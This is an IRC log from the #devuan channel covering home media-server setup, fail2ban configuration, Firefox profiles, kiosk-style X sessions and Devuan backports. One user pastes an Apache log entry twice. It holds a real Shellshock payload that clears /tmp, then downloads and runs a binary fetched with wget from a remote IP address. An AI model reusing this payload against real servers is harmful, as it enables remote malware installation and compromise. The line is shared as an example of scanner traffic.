| 15:06.36 | r3boot | well, not unless you setup a tun/tap device and either make that part of the layer2 segment, or enable multicast routing on your network |
| 15:06.45 | nemo | system16: I don't know too much about your setup, but personally I'm not a huge fan of smart TVs - I settled on an old laptop plugged into TV - is super flexible as to playing whatever random stuff, and is also easy to transport ⺠|
| 15:07.05 | r3boot | has kodi for that |
| 15:07.07 | system16 | this is a SFTP server |
| 15:07.16 | system16 | and vlc supports sftp |
| 15:07.21 | system16 | as simple as that |
| 15:07.22 | r3boot | Aha, that's not a chromecast protocol ;) |
| 15:07.37 | nemo | system16: so.. that's not super surprising then. sure |
| 15:07.49 | system16 | and vlc casts that to my chromecast |
| 15:07.50 | nemo | system16: like. tons of stuff uses gvfs - not too sure what vlc uses |
| 15:08.09 | nemo | system16: but if it is using gvfs or similar then so long as your ssh key is in your keyring, it should just work |
| 15:08.14 | r3boot | worse-case you could use sshfs |
| 15:08.40 | system16 | i asked the vlc staff, they said future vlc ver. will *probably* support ssh key |
| 15:08.59 | nemo | back when my SO was on her first-gen iOS I satisfied her desire to access her iphone from her linux machine using myTunes to fix the file naming plus ssh automount |
| 15:09.08 | system16 | and i mainly use my server to stream stuff soo |
| 15:09.24 | nemo | autofs + sshfs |
| 15:09.34 | nemo | can use that if whatever the heck vlc is using is being a PITA for you |
| 15:09.37 | nemo | it works surprisingly fast |
| 15:09.41 | system16 | how many IPs does 1 jail house ? 1 ? |
| 15:09.53 | r3boot | system16: you could also try to enable ssh multiplexing, and then (using autossh or a custom script) let your system establish the multiplexing tunnel. Next, reconfigure your vlc to just use ssh + connection multiplexing, and you can bypass authentication |
| 15:10.16 | system16 | sounds like its not EZ |
| 15:10.16 | nemo | but yeah in her case ~/Desktop/iphone when doubleclicked on autofs connected to the iphone so she could see her music |
| 15:10.23 | r3boot | system16: hosting isnt easy ;) |
| 15:10.35 | system16 | it is |
| 15:10.37 | system16 | im doing it rn |
| 15:10.45 | r3boot | ahja, okay, well, good luck then :) |
| 15:10.49 | system16 | haha |
| 15:10.50 | nemo | system16: bet vlc can also do HTTP, why not just share your local media over that? it's LAN anyway |
| 15:10.58 | nemo | why not let everyone get to it? |
| 15:11.04 | system16 | its no on lan |
| 15:11.09 | nemo | ah |
| 15:11.13 | system16 | its on the internet as well |
| 15:11.16 | r3boot | Just chmod 0777 it ;+ |
| 15:11.20 | r3boot | (no, dont do that!) |
| 15:11.26 | nemo | system16: your chromecast tv is not LAN? O_o |
| 15:11.27 | system16 | as i said. i have port forwarding enabled |
| 15:11.33 | system16 | no no |
| 15:11.47 | system16 | the sftp server is on wan and lan (thats what i meant) |
| 15:11.57 | nemo | system16: ok... so... you'd still be fine w/ HTTP on LAN for VLC+chromecast ⺠|
| 15:12.01 | nemo | and probably pretty trivial to enable |
| 15:12.12 | nemo | heck maybe chromecast can read http too. dunno |
| 15:12.14 | r3boot | nemo: but, is it an actual chromecast device? :) A chromecast uses rtmp-over-multicast, not sftp |
| 15:12.20 | system16 | i live near a street filled w/ dru addicts |
| 15:12.25 | system16 | drug* |
| 15:12.33 | system16 | and my router has a strong antenna |
| 15:12.53 | system16 | its wifi signal reaches the stree |
| 15:12.54 | system16 | t |
| 15:13.11 | system16 | i cant limit it because of stupid dlink |
| 15:13.23 | nemo | r3boot: I think he said he was streaming to chromecast from vlc |
| 15:13.34 | nemo | r3boot: and vlc was reading his movies off of the sftp server |
| 15:13.42 | system16 | it has 3 options : antenna power : 100 % 50 % 25 % |
| 15:13.47 | nemo | r3boot: and I was just suggesting HTTP as being maybe easier to setup for his local media lirbary |
| 15:13.53 | system16 | 50% is too low |
| 15:14.01 | system16 | isnt http unsafe ? |
| 15:14.13 | nemo | system16: what does your wifi signal have to do w/ this? you said the network was using WPA2 |
| 15:14.18 | system16 | yes |
| 15:14.28 | nemo | system16: http, https. whatever. it's your LAN. you claim it's encrypted already |
| 15:14.29 | system16 | but it does not mean its unhackable |
| 15:14.57 | nemo | system16: the only existing WPA2 hack attacks the device. make sure your devices are up to date ⺠|
| 15:15.03 | system16 | it is |
| 15:15.12 | nemo | (KRACK) |
| 15:15.26 | system16 | is it possible to ditch wlan0 ? |
| 15:15.32 | system16 | on the server |
| 15:15.43 | nemo | is your house wired with cat5? |
| 15:15.45 | system16 | (its connected via ethernet) |
| 15:15.59 | r3boot | nemo: oh, like that, yeah |
| 15:16.20 | system16 | i think the command started with ifconfig |
| 15:16.32 | nemo | system16: anyway. if you don't trust your LAN, which is probably not unreasonable. HTTPS - whatever. |
| 15:17.46 | system16 | https ? |
| 15:17.53 | system16 | a web server ? |
| 15:18.02 | nemo | 10:14 < system16> isnt http unsafe ? |
| 15:18.10 | nemo | https + letsencrypt |
| 15:18.12 | KatolaZ | o_O |
| 15:18.28 | nemo | maximise devices that can connect to your movies ⺠|
| 15:18.52 | system16 | ssh is better i think. because i can remotely manage my server |
| 15:20.09 | system16 | nemo , right now, my freaking smart watch can connect to it |
| 15:20.27 | nemo | system16: uh. you can have both running |
| 15:20.44 | nemo | was just thinking it might be easier for your chromecast/phone/vlc/firefox/whatever |
| 15:20.47 | nemo | shrugs |
| 15:20.56 | system16 | did you mean HTTPS file server ? |
| 15:20.59 | nemo | yes |
| 15:21.06 | system16 | oh |
| 15:21.45 | system16 | its kinda cool. it will have a web server too |
| 15:22.18 | nemo | judging from the spam in my apache log, not installing any CGIs or PHP interfaces avoids 99.9% of the attacks out there |
| 15:22.28 | nemo | so just hosting static content, probably totally fine |
| 15:22.38 | nemo | not to mention could just do it on LAN for starters |
| 15:23.01 | system16 | currently , there are movies, photos and bunch of apps on the server |
| 15:23.58 | nemo | some of the stuff in log is fairly entertaining |
| 15:24.09 | nemo | example |
| 15:24.09 | system16 | OH |
| 15:24.11 | nemo | 222.186.138.49 - - [12/Jan/2018:13:18:39 -0500] "GET / HTTP/1.1" 200 5710 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.158.162.80:258/synliang -O /tmp/China.Z-hqqf\xc0 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-hqqf\xc0 >> /tmp/Run.sh;echo /tmp/China.Z-hqqf\xc0 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { |
| 15:24.14 | system16 | did i mention that |
| 15:24.18 | nemo | :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.158.162.80:258/synliang -O /tmp/China.Z-hqqf\xc0 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-hqqf\xc0 >> /tmp/Run.sh;echo /tmp/China.Z-hqqf\xc0 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" |
| 15:24.23 | system16 | this server is not on all the time ? |
| 15:24.33 | nemo | that script does not seem very efficiently written |
| 15:24.35 | system16 | i suspend it when i dont need it |
| 15:25.00 | system16 | and it does not support WoL so no one can wake it up on lan or wan |
| 15:25.01 | nemo | system16: oh it was you doing that |
| 15:25.14 | nemo | system16: yeah. I was wondering why you don't just leave it on all the time using a low power device ⺠|
| 15:25.32 | nemo | system16: I think I ran numbers and based on machine you are using now, an RPI would pay for itself in about a year |
| 15:25.51 | system16 | 2 reasons 1- its a netbook i dont want to put pressure on it. 2-safety |
| 15:25.58 | system16 | 3-why not ? |
| 15:26.07 | nemo | 'cause having it on all the time is more convenient |
| 15:26.12 | nemo | â¡ is pretty dubious |
| 15:26.20 | nemo | â is fixed by switching to an RPI zero ⺠|
| 15:27.29 | system16 | i have plugged in a wireless usb mouse. when i right click it. it wakes up |
| 15:28.11 | nemo | shrugs |
| 15:28.25 | nemo | system16: might be out and about one day and wishing you didn't have it suspended to get to something at home |
| 15:28.31 | system16 | if it works it aint stupid :) |
| 15:28.56 | system16 | yes. thats the only down side |
| 15:33.57 | *** join/#devuan IoFran (~Thunderbi@189.154.69.72) |
| 15:36.53 | *** join/#devuan AlexLikeRock (~AlexLikeR@unaffiliated/alexlikerock) |
| 15:40.41 | *** join/#devuan furrywolf (~furrywolf@172.58.40.156) |
| 15:41.27 | *** join/#devuan mooseface420 (4cfba49e@gateway/web/freenode/ip.76.251.164.158) |
| 15:41.51 | mooseface420 | dragon isn't playing audio and vlc install failed lol |
| 15:43.08 | *** join/#devuan IoFran (~Thunderbi@187.210.247.40) |
| 15:45.59 | *** join/#devuan jordila (~jordi@163.190.158.146.dynamic.jazztel.es) |
| 15:48.09 | jordila | i would like to downgrade from Firefox-ESR actually in v60 to v52. If possible which is the recommende path to ? |
| 15:49.18 | nemo | mooseface420: I had VLC install problems some time ago, that were due to having wrong repos after migration to ascii |
| 15:49.23 | nemo | mooseface420: no idea if your problems are same |
| 15:49.48 | nemo | jordila: so. 52 is unsupported at your own risk - you should download a zip of it off the mozilla server, and run it standalone yourself |
| 15:50.05 | nemo | jordila: noscript strongly recommended - and I understand why you are doing this... one of my firefox profiles is still on 52 |
| 15:50.32 | nemo | hell. one's still on *4* due to the occasional legacy crap that only speaks old versions of https |
| 15:50.53 | nemo | jordila: but yeah. it's obviously a dangerous thing to do |
| 15:51.12 | nemo | jordila: if you list the extensions you're dependent on, could try seeing if there's finally versions of 'em out there |
| 15:52.11 | nemo | jordila: http://ftp.mozilla.org/pub/firefox/releases/52.9.0esr/ |
| 15:52.21 | jordila | nemo, i was reading on https://mozilla.debian.net/ that ... |
| 15:52.23 | nemo | er |
| 15:52.24 | nemo | https://ftp.mozilla.org/pub/firefox/releases/52.9.0esr/ |
| 15:53.18 | jordila | could it be that i'm able to add repo's for v52 Ã la 'Debian Mozilla' team... or may have i dreamed it ? |
| 15:53.45 | *** join/#devuan aggrora (~aggrora@c83-252-115-180.bredband.comhem.se) |
| 15:54.25 | nemo | jordila: 52 is unsupported simple as that. I don't think it's a good idea to have it outside your user folder at all |
| 15:54.34 | nemo | jordila: ideally keep it in a separate account |
| 15:54.43 | nemo | in maybe a jail |
| 15:54.50 | jordila | ah |
| 15:55.08 | nemo | while there's certainly good reasons to have it, it's not really safe to use |
| 15:55.25 | nemo | jordila: definitely use noscript and turn off plugins when browsing web |
| 15:56.08 | nemo | jordila: just use the mozilla zip in a user home |
| 15:56.19 | nemo | maybe clone one of your firefox profiles |
| 15:56.29 | nemo | jordila: do you know about -no-remote and -P ? |
| 15:57.44 | jordila | no to yet, nemo. |
| 15:57.54 | system16 | im in the fail2ban conf file right now |
| 15:58.01 | jordila | (typo : not yet, nemo ) |
| 15:58.09 | system16 | should i enable ssh_ddos ? |
| 15:58.16 | system16 | its False |
| 15:58.58 | system16 | also the fail2ban is working. i managed to get my phone banned for 10 min |
| 15:59.13 | system16 | i want to change bantime to 2hrs |
| 15:59.17 | jordila | nemo , what is -no-remote and -P ? |
| 16:00.44 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 16:04.47 | *** join/#devuan AntoFox (~Thunderbi@37.162.90.101) |
| 16:10.55 | nemo | jordila: -P is for launching alternate profiles -no-remote ensures if you have firefox already running the new one doesn't try to use it instead |
| 16:11.05 | nemo | jordila: so... firefox -no-remote -P unsafeLegacyProfile |
| 16:11.07 | system16 | nemo |
| 16:11.08 | nemo | make a shortcut like that |
| 16:11.16 | system16 | my phone is banned for 20000 |
| 16:11.18 | system16 | seconds |
| 16:11.25 | system16 | 2000* |
| 16:11.49 | *** join/#devuan _0bitcount (~Big_Byte@90.162.105.206) |
| 16:12.36 | nemo | system16: ssh ddos? can't hurt. |
| 16:13.01 | jordila | nemo , i think i might go in other direction ... instead of downgrading, i wouldrather upgrade to the very last (Nightly) Firefox version ? |
| 16:13.43 | nemo | jordila: I did that myself, just to get more usable addons... and 'cause I was already using nightly anyway |
| 16:13.48 | nemo | jordila: I'd still suggest backing up profile |
| 16:14.01 | jordila | nice to know , nemo |
| 16:14.02 | nemo | jordila: cp -r your existing firefox profile to a new name and use the profile manager to add it |
| 16:14.13 | system16 | nemo since i didnt know what it exactly does, i didnt touch it |
| 16:14.19 | nemo | that way if nightly or the addosn you installed in nightly eff something up, nbd |
| 16:15.29 | nemo | jordila: https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles |
| 16:15.53 | nemo | jordila: it's funny how few people know of this feature that firefox has had for like... since forever. since it was the Mozilla web browser |
| 16:16.21 | nemo | chrome finally adds profiles, people get super excited. firefox adds the container thing "oh, you mean like chrome profiles?" NO |
| 16:16.58 | nemo | jordila: firefox -no-remote -P to launch the profile manager to set all this up |
| 16:17.08 | system16 | yelp |
| 16:17.09 | system16 | 2018-11-23 16:20:35,100 fail2ban.actions[2641]: INFO Set banTime = 600 |
| 16:17.10 | nemo | (their walkthrough says "close all firefox" meh, whatever -no-remote is more convenient) |
| 16:17.16 | system16 | it didnt do shit' |
| 16:17.30 | system16 | i added bantime = 2000 to every section |
| 16:18.00 | system16 | there was no bantime in that conf file. i was told to maunaly add it |
| 16:21.52 | *** join/#devuan AlexLikeRock (~AlexLikeR@unaffiliated/alexlikerock) |
| 16:23.18 | *** join/#devuan telst4r (~Jukka@fsf/member/telst4r) |
| 16:32.38 | premoboss | hi dudes. i am using lightdm and LXDE with autimatic login. the pc is dedicated only to web surfing. i will like to avoid lxde and run as soon as the PC start a web navigator (ie. chromium). there is a way to do that? |
| 16:33.58 | jonadab | premoboss: Most obvious way is to create a custom session type. |
| 16:34.20 | jonadab | There should be how-to documents online for how to create a custom X11 session, I think. |
| 16:35.07 | *** join/#devuan Pali (~pali@Maemo/community/contributor/Pali) |
| 16:35.15 | premoboss | jonadab, i dont know how to do. can you poin me out that howto if you know where it is? i tried ot search but probably i user the wrong keywords in google bbecause i dont find good infos. |
| 16:35.35 | jonadab | I don't happen to know off the top of my head. I've done it before, but it's been a while. |
| 16:35.54 | jonadab | Try the phrase "custom X11 session", or something like that. |
| 16:36.17 | premoboss | thanks. |
| 16:37.22 | jonadab | Or maybe man 5 xsession |
| 16:38.10 | *** part/#devuan jordila (~jordi@163.190.158.146.dynamic.jazztel.es) |
| 16:41.26 | jonadab | As best I can remember, you create two things: The session itself is an executable file (usually a simple shell script) that starts the things you want. If you're starting multiple things, all but the last one should be started in the background with &. You typically put this file in /usr/local/bin |
| 16:42.21 | jonadab | And the other thing is a description file that the display manager (or startx or whatever) can read in order to know that this type of session is available. This is a text file in a specific config-like format that specifies things like what the session is called in the list of possible session types, what program to run for it, and a couple of other things. |
| 16:42.41 | jonadab | This has to go in a particular directory, and that location is the main part that I don't remember off the top of my head. |
| 16:42.56 | jonadab | You can copy one of the existing ones and edit it, that's what I did. |
| 16:44.04 | jonadab | Ah, /usr/share/xsessions is the magic location, I think. |
| 16:44.10 | jonadab | HTH.HAND. |
| 16:45.09 | *** join/#devuan jordila (~jordi@163.190.158.146.dynamic.jazztel.es) |
| 16:55.42 | premoboss | nice to know, thanks jonadab. i go to try |
| 16:57.26 | errandir1 | why run lightdm in the first place if you want to autologin? After auto login just do startx to start the WM |
| 16:58.35 | premoboss | errandir1, because i am going to modify an exixtying distro, i man not building from scratch. |
| 17:00.01 | errandir1 | sure, but you can disable any service you don't need in any distro |
| 17:01.15 | premoboss | errandir1, my need is: start a graphocal application (firefos or chromium) as soon as the PC start. the need is to do autologon in the pc and to minimize the start up time from "turn on pc" to "usable firefox" |
| 17:02.36 | jonadab | errandir1: lightdm is one way to _do_ autologin, I think. |
| 17:03.46 | iovec | agetty can do autologin, don't need a DM for that |
| 17:04.25 | errandir1 | to me it's just too heavy a hammer, and premoboss wants to minimize the startup time. To minimize that start by not running anything you don't need |
| 17:04.56 | jonadab | All true, as far as it goes. |
| 17:05.18 | jonadab | But sometimes people design things based on what they already know how to do. |
| 17:05.52 | jonadab | But yes, console autologin + startx in the login script would be more efficient, technically. |
| 17:06.27 | premoboss | errandir1, i already disabled daemons, recompiled kernel to reduce his size and his time to load. now i must work on GUI. if you know better way to follow, please tell me. i can remove lighdm and lxde, the important ting is login and to run automatically chromium at login. |
| 17:06.40 | premoboss | at login = at start of the pc. |
| 17:07.35 | errandir1 | you'll need lxde to show chromium |
| 17:07.59 | errandir1 | start like iovec says, get agetty to do the autologin |
| 17:08.25 | errandir1 | lxde will read the .Xclients file when it starts, so start chromium from there. |
| 17:08.34 | premoboss | errandir1, is it not possible to stat chtomiom on X server without to have lxde between X and cromium? |
| 17:09.25 | errandir1 | maybe, I've never tried that myself. All the other stuf I have done |
| 17:11.29 | *** join/#devuan kekePower (~kekePower@ti0238a330-0862.bb.online.no) |
| 17:22.07 | iovec | premoboss: possible, just execute int chromium in your xinitrc script |
| 17:22.26 | premoboss | gonna try, thanks. |
| 17:22.29 | *** join/#devuan ymasson (~ymasson@lfbn-1-8785-102.w193-250.abo.wanadoo.fr) |
| 17:22.50 | iovec | keep in mind you would have no window management available, and no auxillary daemons for session management, so either use a DE/WM, or for them in the background before executing into it. |
| 17:23.05 | iovec | fork* |
| 17:24.14 | *** join/#devuan jack_rabbit (~jack_rabb@172.243.65.140) |
| 17:31.10 | jonadab | premoboss: There has to _be_ a window manager. LXDE isn't the only option, there may be something lighter weight, but there has to be one. |
| 17:31.25 | jonadab | Dunno of twm is still actively maintained. fvwm probably. Not sure how these compare to lxde. |
| 17:31.45 | jonadab | Oh, actually, look at tiling window managers though. |
| 17:31.57 | jonadab | There are several of those, they tend to be pretty lightweight. |
| 17:32.09 | jonadab | ratpoison was the first, I think, but it may not be current now. |
| 17:32.14 | telst4r | dwm. |
| 17:32.18 | premoboss | i user twm in past, i will give a look even if it was very "perimitive" but also very light |
| 17:32.21 | telst4r | or something that sucks less. |
| 17:33.50 | jonadab | If you can get chromium to only ever use one window ever, no dialog boxes or anything, then the window manager could potentially be _extremely_ lightweight. |
| 17:34.23 | jonadab | But I don't know if chromium can be quite that window-sparse. Most applications cannot. |
| 17:35.07 | koollman | there doesn't have to be one, but it's very, very limited without one :) |
| 17:48.23 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 17:51.24 | *** join/#devuan pav5088__ (~pav5088@c110-23-33-120.rochd7.qld.optusnet.com.au) |
| 17:59.23 | *** join/#devuan forester (~forester@188.170.80.95) |
| 18:15.49 | *** join/#devuan TigerbotHesh (~tbhesh@bishibosh.stronk.com.au) |
| 18:35.32 | forester | Hi. Have a Devuan 2 live CD a modemmanager? |
| 18:36.16 | forester | to use usb modem for internet access |
| 18:38.01 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 18:52.18 | *** join/#devuan Pali (~pali@Maemo/community/contributor/Pali) |
| 19:22.26 | *** join/#devuan filipdevuan_ (~fil@cpc77042-warw18-2-0-cust394.3-2.cable.virginm.net) |
| 19:29.28 | *** join/#devuan cocoadaemon (~foo@2001:67c:288:1::201) |
| 19:33.58 | filipdevuan_ | so funny https://systemd-free.artixlinux.org/img/systemd-devours-all.gif |
| 19:35.59 | *** join/#devuan newsanchor (~anchor@92-111-68-16.static.v4.ziggozakelijk.nl) |
| 19:36.49 | furrywolf | lol |
| 19:36.54 | newsanchor | Devuan sucks. It destroyed my computer. Any thoughts? |
| 19:37.21 | *** join/#devuan lldd_ (~atrapado@unaffiliated/atrapado) |
| 19:37.30 | iovec | i sympathize with you |
| 19:39.45 | filipdevuan_ | how did devuan destroy your computer?? |
| 19:41.27 | newsanchor | it freezes if it has to perform more than 3 tasks. And I know it is unpopular to say but it worked with windows |
| 19:42.01 | newsanchor | does anyone have a solution for Linux ASUS T100A compatibility? |
| 19:42.30 | filipdevuan_ | what tasks are these any tasks?? or any specific software?? :D |
| 19:45.58 | newsanchor | receiving e-mail in thunderbird and browsing at the same time is too much for HIM now...:( |
| 19:46.27 | newsanchor | So, downloading data... |
| 19:46.29 | Anselmo | is this unique to devuan or is it just a linux thing, |
| 19:47.19 | filipdevuan_ | thats really weird and i dont know why maybe u should use different email client for example claws mail |
| 19:48.09 | newsanchor | I tried. Beacause I really wanted linux to work, but it didn't help |
| 19:49.54 | Anselmo | the issue is, lack of memory ? |
| 19:50.40 | *** join/#devuan hplar (~ralph@unable-to-package.org) |
| 19:50.46 | Anselmo | are you just, running outof memory and swapping ? |
| 19:51.17 | newsanchor | Devuan also didn't work on HP EliteBook 2760p/162A. But the HP works with Ubuntu. Do not know why... |
| 19:52.02 | newsanchor | I don't think that I lack on memory |
| 19:52.52 | newsanchor | And the HP didn't even want to start. MAybe I am just Devuan unlucky |
| 19:53.05 | Anselmo | hrm |
| 20:05.54 | *** join/#devuan jordila (~jordi@163.190.158.146.dynamic.jazztel.es) |
| 20:06.49 | *** join/#devuan Pali (~pali@Maemo/community/contributor/Pali) |
| 20:07.38 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 20:13.42 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 20:26.16 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 20:46.23 | *** join/#devuan dos1 (~dos1@neo900/coreteam/dos) |
| 21:00.35 | *** join/#devuan IoFran2 (~Thunderbi@189.154.69.72) |
| 21:04.06 | filipdevuan_ | so i believe its not devuan that sucks but your laptop |
| 21:16.02 | *** join/#devuan IoFran2 (~Thunderbi@189.154.69.72) |
| 21:22.23 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 21:24.08 | *** join/#devuan fil_ (~fil@cpc77042-warw18-2-0-cust394.3-2.cable.virginm.net) |
| 21:36.36 | *** join/#devuan IoFran (~Thunderbi@189.154.69.72) |
| 21:36.59 | *** join/#devuan cyteen (~cyteen@245.178.93.209.dyn.plus.net) |
| 21:39.02 | *** join/#devuan fishfears (~whomstdun@162.210.192.158) |
| 21:59.06 | *** join/#devuan HumanG33k (~HumanG33k@62.147.242.8) |
| 22:00.15 | *** join/#devuan wildlander (~wildlande@unaffiliated/wildlander) |
| 22:03.57 | *** join/#devuan agl (~ag@2a02:810d:1a80:702:155:dae:3f38:d62f) |
| 22:04.53 | *** join/#devuan IoFran (~Thunderbi@189.154.69.72) |
| 22:07.39 | *** join/#devuan jordila (~jordi@163.190.158.146.dynamic.jazztel.es) |
| 22:15.02 | *** join/#devuan cyteen (~cyteen@245.178.93.209.dyn.plus.net) |
| 22:22.23 | *** join/#devuan filipdevuan_ (~fil@cpc77042-warw18-2-0-cust394.3-2.cable.virginm.net) |
| 22:23.29 | *** join/#devuan IoFran (~Thunderbi@189.154.69.72) |
| 22:37.58 | *** join/#devuan Tom-_ (tomg@67-43-135-58.border8-dynamic.dsl.sentex.ca) |
| 22:45.04 | *** join/#devuan newsanchor (~anchor@ip56531f81.direct-adsl.nl) |
| 22:51.59 | filipdevuan_ | hey if synaptic package manager has outdated version of some app how can i download the newer one using termninal?? |
| 23:02.19 | gnarface | filipdevuan_: `apt-get install [packagename]` implies to upgrade the package if it's already installed |
| 23:03.05 | gnarface | it doesn't distinguish between the actions of replace and install at the interface level. the packages themselves figure that out |
| 23:07.04 | filipdevuan_ | yeah they say its newest version but theres newer one on the website available thus online playing this game not possible ;p |
| 23:07.47 | gnarface | oh, what app is it? maybe there's a newer version in backports? |
| 23:08.19 | *** join/#devuan HumanG33k (~HumanG33k@62.147.242.8) |
| 23:09.26 | filipdevuan_ | its hedgewars game 0.9.22 in repos but 0.9.24 on website ;d as well as debian repos have 0.9.24 |
| 23:09.55 | *** join/#devuan HumanG33k (~HumanG33k@62.147.242.8) |
| 23:10.11 | gnarface | ah, but there is a newer version in backports. you're in luck |
| 23:10.26 | gnarface | 0.9.24.1-dfsg-2~bpo9+1 |
| 23:10.28 | filipdevuan_ | i have no idea whats backports and how to use them |
| 23:10.28 | gnarface | this one should work |
| 23:11.17 | gnarface | i don't know where there are devuan-specific instructions for this, but the instructions from debian here should work, just remember to use "ascii-backports" instead of "stretch-backports": https://backports.debian.org/Instructions/ |
| 23:12.21 | filipdevuan_ | ok thx |
| 23:12.24 | gnarface | (after you've upgraded the package, i recommend commenting the backports line out again, to prevent accidents) |
| 23:12.25 | filipdevuan_ | :) |
| 23:12.27 | gnarface | no problem |
| 23:12.53 | filipdevuan_ | ok ill try |
| 23:13.37 | filipdevuan_ | why jessie not stretch?? |
| 23:15.00 | gnarface | what? cause their example is old. i said use ascii-backports. don't get confused by the fact they're showing you stretch-backports and jessie-backports examples. |
| 23:15.26 | *** join/#devuan sigjen (~sig@205.201.49.66) |
| 23:15.32 | gnarface | do i need to clarify that you need to use the devuan repos, not the debian repos in their example lines too? |
| 23:16.12 | gnarface | i just meant that they're showing you the same process |
| 23:16.19 | filipdevuan_ | still get the same thing |
| 23:16.21 | filipdevuan_ | hedgewars is already the newest version (0.9.22-dfsg-11+b1). |
| 23:16.39 | filipdevuan_ | i typo apt-get -t jessie-backports install hedgewars |
| 23:16.53 | gnarface | you forgot it is "-t ascii-backports" |
| 23:17.03 | filipdevuan_ | ohh |
| 23:17.27 | filipdevuan_ | ohh... |
| 23:17.30 | filipdevuan_ | sorry lol im tired |
| 23:17.36 | filipdevuan_ | i thought u said jessie instead of stretch |
| 23:17.39 | filipdevuan_ | my bad |
| 23:17.44 | gnarface | it's ok |
| 23:19.31 | filipdevuan_ | now i think i failed cuz W: The repository 'http://ftp.debian.org/debian ascii-backports Release' does not have a Release file. |
| 23:19.44 | filipdevuan_ | fk it it doesnt matter i only need newer version of hedgewars to be able to play multiplayer |
| 23:19.54 | filipdevuan_ | im just checking various open source games |
| 23:21.17 | gnarface | dude |
| 23:21.23 | gnarface | you gotta think a little bit less literally here |
| 23:21.31 | gnarface | i just told you not to use the debian hostnames in the line |
| 23:21.43 | gnarface | ftp.debian.org |
| 23:21.46 | gnarface | you don't see a problem with that? |
| 23:22.44 | gnarface | i only gave you the debian instructions because i thought you'd be able to interpret them if you'd read what i said |
| 23:22.44 | filipdevuan_ | so devuan instead then |
| 23:23.06 | filipdevuan_ | hahah sorry im too tired to think i been on computer all day today and yesterday didnt even go out |
| 23:23.31 | gnarface | yes, you're adding devuan backports. i just gave you the debian instructions because it was the only example i knew of |
| 23:26.34 | filipdevuan_ | its okay i think im too stupid for this today, its okay, thanks gnarface. |
| 23:27.03 | gnarface | filipdevuan_: i assure you though, it will work if you do it right. by all accounts, the version you need is standing by. |
| 23:27.32 | gnarface | maybe it'll make more sense if you got some sleep first. |
| 23:29.12 | *** join/#devuan IoFran (~Thunderbi@189.154.69.72) |
| 23:30.51 | filipdevuan_ | its not just sleep i have been in for two days my brain misses oxygen |
| 23:34.45 | golinux | NO! get it from devuan-backports!!! |
| 23:35.07 | golinux | Not stretch!!! |
| 23:35.53 | debdog | but oxygen even is in ASCII :P |
| 23:36.04 | debdog | oops, OT |
| 23:39.45 | *** join/#devuan newsanchor (~anchor@ip56531f81.direct-adsl.nl) |
| 23:50.23 | *** join/#devuan IoFran2 (~Thunderbi@189.154.69.72) |
